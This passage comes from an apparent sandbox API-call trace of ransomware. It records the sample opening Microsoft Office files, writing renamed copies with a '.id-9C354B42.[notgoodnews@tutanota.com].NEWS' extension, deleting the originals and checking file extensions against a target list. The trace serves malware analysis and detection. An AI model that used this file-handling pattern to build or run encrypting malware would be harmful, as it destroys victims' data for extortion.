Office\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 62 [0239.897] lstrlenW (lpString=".1cd") returned 4 [0239.897] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0239.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 62 [0239.897] lstrlenW (lpString=".jpg") returned 4 [0239.898] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0239.898] lstrcmpiW (lpString1=".MID", lpString2=".NEWS") returned -1 [0239.898] lstrlenW (lpString="SWEST_01.MID") returned 12 [0239.898] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\swest_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0239.924] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x356ff1c | out: lpFileSize=0x356ff1c*=8501) returned 1 [0239.924] CloseHandle (hObject=0x304) returned 1 [0239.924] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\swest_01.mid")) returned 0x20 [0239.991] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\swest_01.mid.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0240.162] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\swest_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0240.162] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x356fec8 | out: lpNewFilePointer=0x0) returned 1 [0240.162] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x356fec8 | out: lpNewFilePointer=0x0) returned 1 [0240.163] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\swest_01.mid.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0240.165] GetLastError () returned 0x0 [0240.166] ReadFile (in: hFile=0x35c, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x356fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x356fed4*=0x2135, lpOverlapped=0x0) returned 1 [0240.214] WriteFile (in: hFile=0x324, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0x2140, lpNumberOfBytesWritten=0x356fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x356fc9c*=0x2140, lpOverlapped=0x0) returned 1 [0240.219] ReadFile (in: hFile=0x35c, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x356fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x356fed4*=0x0, lpOverlapped=0x0) returned 1 [0240.219] WriteFile (in: hFile=0x324, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x356fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x356fc9c*=0xec, lpOverlapped=0x0) returned 1 [0240.219] SetEndOfFile (hFile=0x324) returned 1 [0240.219] CloseHandle (hObject=0x324) returned 1 [0240.220] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x356fec8 | out: lpNewFilePointer=0x0) returned 1 [0240.220] SetEndOfFile (hFile=0x35c) returned 1 [0240.227] CloseHandle (hObject=0x35c) returned 1 [0240.227] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0240.584] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\swest_01.mid")) returned 1 [0240.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 63 [0240.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 63 [0240.715] lstrlenW (lpString=".doc") returned 4 [0240.715] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0240.715] lstrlenW (lpString=".docx") returned 5 [0240.715] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0240.715] lstrlenW (lpString=".pdf") returned 4 [0240.715] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0240.716] lstrlenW (lpString=".xls") returned 4 [0240.716] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0240.716] lstrlenW (lpString=".xlsx") returned 5 [0240.716] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0240.716] lstrlenW (lpString=".ppt") returned 4 [0240.717] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0240.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 63 [0240.717] lstrlenW (lpString=".zip") returned 4 [0240.717] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0240.717] lstrlenW (lpString=".rar") returned 4 [0240.717] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0240.717] lstrlenW (lpString=".bz2") returned 4 [0240.717] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0240.717] lstrlenW (lpString=".7z") returned 3 [0240.717] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0240.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 63 [0240.718] lstrlenW (lpString=".dbf") returned 4 [0240.718] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0240.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 63 [0240.718] lstrlenW (lpString=".1cd") returned 4 [0240.718] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0240.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 63 [0240.718] lstrlenW (lpString=".jpg") returned 4 [0240.718] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0240.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 63 [0240.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 63 [0240.718] lstrlenW (lpString=".doc") returned 4 [0240.719] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0240.719] lstrlenW (lpString=".docx") returned 5 [0240.719] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0240.719] lstrlenW (lpString=".pdf") returned 4 [0240.719] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0240.719] lstrlenW (lpString=".xls") returned 4 [0240.719] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0240.719] lstrlenW (lpString=".xlsx") returned 5 [0240.719] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0240.719] lstrlenW (lpString=".ppt") returned 4 [0240.719] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0240.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 63 [0240.719] lstrlenW (lpString=".zip") returned 4 [0240.720] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0240.720] lstrlenW (lpString=".rar") returned 4 [0240.720] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0240.720] lstrlenW (lpString=".bz2") returned 4 [0240.720] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0240.720] lstrlenW (lpString=".7z") returned 3 [0240.720] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0240.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 63 [0240.720] lstrlenW (lpString=".dbf") returned 4 [0240.720] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0240.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 63 [0240.720] lstrlenW (lpString=".1cd") returned 4 [0240.721] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0240.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 63 [0240.721] lstrlenW (lpString=".jpg") returned 4 [0240.721] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0240.721] lstrcmpiW (lpString1=".eftx", lpString2=".NEWS") returned -1 [0240.722] lstrlenW (lpString="Angles.eftx") returned 11 [0240.722] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\angles.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0240.843] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x356ff1c | out: lpFileSize=0x356ff1c*=27365) returned 1 [0240.843] CloseHandle (hObject=0x1f0) returned 1 [0240.843] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\angles.eftx")) returned 0x20 [0240.844] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\angles.eftx.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0240.844] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\angles.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0240.845] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x356fec8 | out: lpNewFilePointer=0x0) returned 1 [0240.845] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x356fec8 | out: lpNewFilePointer=0x0) returned 1 [0240.845] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\angles.eftx.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0240.928] GetLastError () returned 0x0 [0240.928] ReadFile (in: hFile=0x1f0, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x356fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x356fed4*=0x6ae5, lpOverlapped=0x0) returned 1 [0240.933] WriteFile (in: hFile=0x1c0, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0x6af0, lpNumberOfBytesWritten=0x356fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x356fc9c*=0x6af0, lpOverlapped=0x0) returned 1 [0240.938] ReadFile (in: hFile=0x1f0, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x356fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x356fed4*=0x0, lpOverlapped=0x0) returned 1 [0240.938] WriteFile (in: hFile=0x1c0, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x356fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x356fc9c*=0xea, lpOverlapped=0x0) returned 1 [0240.939] SetEndOfFile (hFile=0x1c0) returned 1 [0240.939] CloseHandle (hObject=0x1c0) returned 1 [0240.939] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x356fec8 | out: lpNewFilePointer=0x0) returned 1 [0240.940] SetEndOfFile (hFile=0x1f0) returned 1 [0240.947] CloseHandle (hObject=0x1f0) returned 1 [0240.948] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0240.949] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\angles.eftx")) returned 1 [0240.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx") returned 78 [0240.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx") returned 78 [0240.950] lstrlenW (lpString=".doc") returned 4 [0241.646] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0241.646] lstrlenW (lpString=".docx") returned 5 [0241.646] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0241.646] lstrlenW (lpString=".pdf") returned 4 [0241.646] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0241.646] lstrlenW (lpString=".xls") returned 4 [0241.646] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0241.646] lstrlenW (lpString=".xlsx") returned 5 [0241.646] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0241.646] lstrlenW (lpString=".ppt") returned 4 [0241.646] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0241.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx") returned 78 [0241.647] lstrlenW (lpString=".zip") returned 4 [0241.647] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0241.647] lstrlenW (lpString=".rar") returned 4 [0241.647] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0241.647] lstrlenW (lpString=".bz2") returned 4 [0241.647] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0241.647] lstrlenW (lpString=".7z") returned 3 [0241.647] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0241.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx") returned 78 [0241.647] lstrlenW (lpString=".dbf") returned 4 [0241.647] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0241.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx") returned 78 [0241.647] lstrlenW (lpString=".1cd") returned 4 [0241.648] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0241.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx") returned 78 [0241.648] lstrlenW (lpString=".jpg") returned 4 [0241.648] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0241.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx") returned 78 [0241.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx") returned 78 [0241.648] lstrlenW (lpString=".doc") returned 4 [0241.648] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0241.648] lstrlenW (lpString=".docx") returned 5 [0241.648] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0241.648] lstrlenW (lpString=".pdf") returned 4 [0241.648] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0241.649] lstrlenW (lpString=".xls") returned 4 [0241.649] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0241.649] lstrlenW (lpString=".xlsx") returned 5 [0241.649] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0241.649] lstrlenW (lpString=".ppt") returned 4 [0241.649] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0241.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx") returned 78 [0241.649] lstrlenW (lpString=".zip") returned 4 [0241.649] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0241.649] lstrlenW (lpString=".rar") returned 4 [0241.649] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0241.649] lstrlenW (lpString=".bz2") returned 4 [0241.649] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0241.649] lstrlenW (lpString=".7z") returned 3 [0241.649] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0241.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx") returned 78 [0241.650] lstrlenW (lpString=".dbf") returned 4 [0241.650] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0241.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx") returned 78 [0241.650] lstrlenW (lpString=".1cd") returned 4 [0241.650] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0241.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx") returned 78 [0241.650] lstrlenW (lpString=".jpg") returned 4 [0241.650] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0241.651] lstrcmpiW (lpString1=".eftx", lpString2=".NEWS") returned -1 [0241.651] lstrlenW (lpString="Aspect.eftx") returned 11 [0241.651] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\aspect.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0242.021] GetFileSizeEx (in: hFile=0x288, lpFileSize=0x356ff1c | out: lpFileSize=0x356ff1c*=22554) returned 1 [0242.021] CloseHandle (hObject=0x288) returned 1 [0242.021] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\aspect.eftx")) returned 0x20 [0242.082] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\aspect.eftx.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0242.083] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\aspect.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0242.083] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x356fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.084] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x356fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.084] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\aspect.eftx.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0242.085] GetLastError () returned 0x0 [0242.085] ReadFile (in: hFile=0x3ac, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x356fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x356fed4*=0x581a, lpOverlapped=0x0) returned 1 [0242.094] WriteFile (in: hFile=0x288, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0x5820, lpNumberOfBytesWritten=0x356fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x356fc9c*=0x5820, lpOverlapped=0x0) returned 1 [0242.100] ReadFile (in: hFile=0x3ac, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x356fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x356fed4*=0x0, lpOverlapped=0x0) returned 1 [0242.100] WriteFile (in: hFile=0x288, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x356fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x356fc9c*=0xea, lpOverlapped=0x0) returned 1 [0242.101] SetEndOfFile (hFile=0x288) returned 1 [0242.101] CloseHandle (hObject=0x288) returned 1 [0242.102] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x356fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.102] SetEndOfFile (hFile=0x3ac) returned 1 [0242.206] CloseHandle (hObject=0x3ac) returned 1 [0242.206] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0242.357] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\aspect.eftx")) returned 1 [0242.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx") returned 78 [0242.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx") returned 78 [0242.358] lstrlenW (lpString=".doc") returned 4 [0242.358] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0242.358] lstrlenW (lpString=".docx") returned 5 [0242.358] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0242.358] lstrlenW (lpString=".pdf") returned 4 [0242.358] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0242.358] lstrlenW (lpString=".xls") returned 4 [0242.358] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0242.358] lstrlenW (lpString=".xlsx") returned 5 [0242.358] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0242.358] lstrlenW (lpString=".ppt") returned 4 [0242.358] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0242.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx") returned 78 [0242.358] lstrlenW (lpString=".zip") returned 4 [0242.359] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0242.359] lstrlenW (lpString=".rar") returned 4 [0242.359] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0242.359] lstrlenW (lpString=".bz2") returned 4 [0242.359] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0242.359] lstrlenW (lpString=".7z") returned 3 [0242.359] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0242.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx") returned 78 [0242.359] lstrlenW (lpString=".dbf") returned 4 [0242.359] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0242.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx") returned 78 [0242.359] lstrlenW (lpString=".1cd") returned 4 [0242.359] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0242.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx") returned 78 [0242.360] lstrlenW (lpString=".jpg") returned 4 [0242.360] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0242.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx") returned 78 [0242.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx") returned 78 [0242.360] lstrlenW (lpString=".doc") returned 4 [0242.360] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0242.360] lstrlenW (lpString=".docx") returned 5 [0242.360] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0242.360] lstrlenW (lpString=".pdf") returned 4 [0242.360] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0242.360] lstrlenW (lpString=".xls") returned 4 [0242.360] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0242.361] lstrlenW (lpString=".xlsx") returned 5 [0242.361] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0242.361] lstrlenW (lpString=".ppt") returned 4 [0242.361] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0242.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx") returned 78 [0242.361] lstrlenW (lpString=".zip") returned 4 [0242.361] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0242.361] lstrlenW (lpString=".rar") returned 4 [0242.361] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0242.361] lstrlenW (lpString=".bz2") returned 4 [0242.361] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0242.361] lstrlenW (lpString=".7z") returned 3 [0242.361] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0242.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx") returned 78 [0242.362] lstrlenW (lpString=".dbf") returned 4 [0242.362] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0242.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx") returned 78 [0242.362] lstrlenW (lpString=".1cd") returned 4 [0242.362] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0242.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx") returned 78 [0242.362] lstrlenW (lpString=".jpg") returned 4 [0242.362] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0242.363] lstrcmpiW (lpString1=".eftx", lpString2=".NEWS") returned -1 [0242.363] lstrlenW (lpString="Civic.eftx") returned 10 [0242.363] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\civic.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0242.417] GetFileSizeEx 